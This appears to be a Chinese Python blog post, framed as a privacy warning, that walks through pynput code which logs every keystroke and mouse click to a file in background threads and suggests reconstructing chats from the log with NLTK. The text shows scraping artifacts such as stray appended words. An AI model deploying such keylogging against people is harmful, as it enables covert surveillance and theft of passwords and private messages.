本文正在參加「Python主題月」,詳情查看 活動連接python
今天有位同事和我吐槽關於公司 XX
的問題,我告訴他不要在公司電腦上說這些,由於極可能會被狙擊,這位同事剛開始還不信,直到我寫了這邊文章,他才恍然大悟。markdown
pynput
能夠監控咱們的鍵盤和鼠標。目前具備此類功能的庫有不少,好比 pygame
等遊戲庫,可是當咱們只須要監控鍵盤和鼠標時,它們就顯得過於笨重了,咱們能夠選擇輕量,快速的 pynput
。app
假設公司想要靜默爲咱們的電腦常駐一個後臺進程去實現監控咱們的鍵盤輸入並記錄下來,他們大概能夠這樣作:ide
from pynput import keyboard
def on_press(key):
print(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
複製代碼
控制檯打印:post
from pynput import mouse
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
print('left was pressed!')
elif button == mouse.Button.right:
print('right was pressed!')
return False
else:
print('mid was pressed!')
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
複製代碼
控制檯打印:ui
你會發現,每條打印都被打印了兩次,這是由於按下去和擡起來都會觸發鼠標事件。lua
from pynput import keyboard,mouse
from loguru import logger
from threading import Thread
# 定義日誌文件
logger.add('demo.log')
def on_press(key):
logger.debug(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
# 定義f1用於線程1
def f1():
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
logger.debug('left was pressed!')
elif button == mouse.Button.right:
logger.debug('right was pressed!')
return False
else:
logger.debug('mid was pressed!')
# 定義f2用於線程2
def f2():
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
if __name__ == '__main__':
# 起兩個線程分別監控鍵盤和鼠標
t1 = Thread(target=f1)
t2 = Thread(target=f2)
t1.start()
t2.start()
複製代碼
查看日誌內容:url
如上,咱們的鍵盤操做所有已經被記錄,經過對這個日誌文件進行簡單的
NLTK
語言處理,就能復原你的聊天記錄。spa
以上就是今天的所有內容了,感謝您的閱讀,咱們下節再會。線程